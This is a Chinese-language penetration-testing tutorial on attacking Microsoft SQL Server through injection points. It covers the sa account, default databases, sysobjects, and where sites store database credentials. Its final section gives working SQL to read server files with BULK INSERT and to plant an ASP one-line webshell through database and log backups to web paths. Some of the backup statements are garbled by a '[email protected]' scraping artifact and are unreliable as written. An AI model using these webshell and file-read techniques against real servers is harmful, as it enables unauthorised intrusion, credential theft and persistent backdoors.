本章目錄:
- Mssql簡介
- Mssql 服務、端口、字尾
- 預設庫的介紹
- 字段的介紹
- 資料庫部分代碼語句分析
-
- 調用資料庫代碼
- 建立資料庫
- 資料庫的讀寫檔案
Mssql簡介
- Microsoft SQL Sever 分為很多個版本,版本的不斷的更新安全性也越來越高,對我們滲透過程中最喜歡的版本應該就是2008以前,在2008及其以後的版本資料庫的權限已經不再是system。
- 為了迎合新的版本我以後文章的實驗都在2008版本下面進行,同時也介紹以前可以利用的方法,相對于MySQL這個mssql顯得重了許多,他衆多的功能也給我們注入過程帶來了便利, 是以一般資料庫為mssql支援多語句我們就考慮是不是應該直接拿下webshell。
- 對于mssql的一個注入點我們往往最關心的這個注入點的權限問題,是sa、db_owner還是public;其次是這個注點是否顯錯,注釋語句是否可用,例如sql server中注釋符“–”;還有就是注入點是什麼類型的,是字元型注入,還是數字型注入。
Mssql 服務、端口、字尾
安裝完後重新開機服務,使其生效,服務指令: services.msc
cmd指令,檢視mssql服務程序端口:netstat -ano
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
1433:這是一個很重要的端口,mssql這個資料庫是以管理者身份安裝在系統服務上的,是以說他有一個管理者賬号叫:sa,他的權限相當于我們的系統機權限的,要是這個伺服器安裝了1433,一定要給sa的賬号設定一個強悍點的密碼,千萬不要設定弱密碼,抓雞也是抓1433的。
資料庫檔案字尾:cracer.mdf
資料庫日志檔案字尾:cracer_log.ldf
這兩個檔案很重要,要注意字尾,copy的話一定要将這兩個檔案一起copy,停止的話要先分離。
預設庫的介紹
- master //用于記錄所有SQL Server系統級别的資訊,這些資訊用于控制使用者資料庫和資料操作。
- model //SQL Server為使用者資料庫提供的樣闆,新的使用者資料庫都以model資料庫為基礎
- msdb //由 Enterprise Manager和Agent使用,記錄着任務計劃資訊、事件處理資訊、資料備份及恢複資訊、警告及異常資訊。
- tempdb //它為臨時表和其他臨時工作提供了一個存儲區。
這裡我們經常要打交道的庫也就是master,他儲存了我們的所有資料庫名等等,還有很多儲存過程,所謂儲存過程你可以把他了解成一個函數調用的過程。
儲存過程是一個可程式設計的函數,它在資料庫中建立并儲存。
它可以有SQL語句和一些特殊的控制結構組成。
當希望在不同的應用程式或平台上執行相同的函數,或者封裝特定功能時,存儲過程是非常有用的。
資料庫中的存儲過程可以看做是對程式設計中面向對象方法的模拟。它允許控制資料的通路方式。

我們以master庫為例可以看到上面幾個東西,其中視圖表master.dbo.sysdatabases儲存所有資料庫名,其他資料庫的視圖則儲存他本庫的表名與列名。
每一個庫的試圖表都有syscolumns存儲着所有的字段,可程式設計性儲存着我們的函數。
基本資訊:
@@version // 資料庫版本
user //擷取目前資料庫使用者名
db_name() // 目前資料庫名 其中db_name(N)可以來周遊其他資料庫
;select user //查詢是否支援多語句
host_name() //服務端主機名
mssql的儲存過程是我們利用的重點,他天然支援多語句,也為我們注入提供了便利,我們可以通過檢視可程式設計性裡面的函數來查找他的功能,發現一些新的東西
字段的介紹
簡介:說明資料庫sysObjects表中xtype字段值的含義。
sysObjects表它存放該資料庫内建立的所有對象,如限制、預設值、日志、規則、存儲過程等,每個對象在表中占一行。
select top 1 name,xtype from sysobjects;
name xtype sysrscols S
xtype可以是下列對象類型中的一種:
C = CHECK 限制
D = 預設值或 DEFAULT 限制
F = FOREIGN KEY 限制
L = 日志
FN = 标量函數
IF = 内嵌表函數
P = 存儲過程
PK = PRIMARY KEY 限制(類型是 K)
RF = 複制篩選存儲過程
S = 系統表
TF = 表函數
TR = 觸發器
U = 使用者表
UQ = UNIQUE 限制(類型是 K)
V = 視圖
X = 擴充存儲過程
當xtype=‘U’ and status>0代表是使用者建立的表,對象名就是表名,對象ID就是表的ID值。
用: select * from misa.dbo.sysobjects where xtype=‘U’ and status>0 就可以列出庫misa中所有的使用者建立的表名。
SELECT * FROM SYSOBJECTS WHERE PARENT_OBJ = OBJECT_ID( ‘CS’) AND XTYPE=‘TR’
列出表cs的所有屬性,上面是trigger!
資料庫部分代碼語句分析
調用資料庫代碼
<%
set conn =server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
分析:
其中,provider後面的不用管,照寫;source後面的可以是ip位址(有可能是外網位址,用sa的話可以允許登入外網位址),這裡我用的是本地的;sa是内置的使用者,它的密碼是你在安裝的時候設定的;database後面是你要連接配接的資料庫的名稱,例:mydatabase(不需擴充名)。
這條語句是找資料庫的密碼的,在網站找資料庫的連接配接資訊的時候,這個代碼一般在資料庫連結檔案上,連結檔案如:
asp腳本網站 的:conn.asp 或者在Dbconfig.asp這種帶db的或者帶config的腳本檔案上。
aspx腳本的話有可能在:web.config,這種腳本檔案一般會記錄資料庫的連結,管理者賬号,和明文密碼的。
建立資料庫
use asp\_net;
create table admin
(
id int primary key , username varchar(50) null, password varchar(50) null
);
insert into admin(id,username,password) values(1,'admin','admin');
其查詢方式與mysql的文法大同小異。
資料庫的讀寫檔案
讀寫前提:
1. 需要 SA
2. BULK INSERT 權限.
- BULK INSERT檔案讀取:
create table test(
context ntext
); 建立一個臨時表test
///将本地檔案pass寫test入表中
BULK INSERT test FROM 'c:/pass.txt'
WITH (
DATAFILETYPE = 'char',
KEEPNULLS
);
select * from test;
drop table test;
- 資料庫備份
create table [bin_cmd]([cmd] [image]);
declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to [email protected];
insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');
declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='E:\bin.asp' backup database @b to [email protected] WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];
- 日志備份
create table [bin_cmd]([cmd] [image]);
declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to [email protected];
insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');
declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to [email protected] with init,no_truncate;drop table [bin_cmd];
參考連結:
https://blog.csdn.net/yatere/article/details/6418867
https://blog.csdn.net/jackmacro/article/details/6405871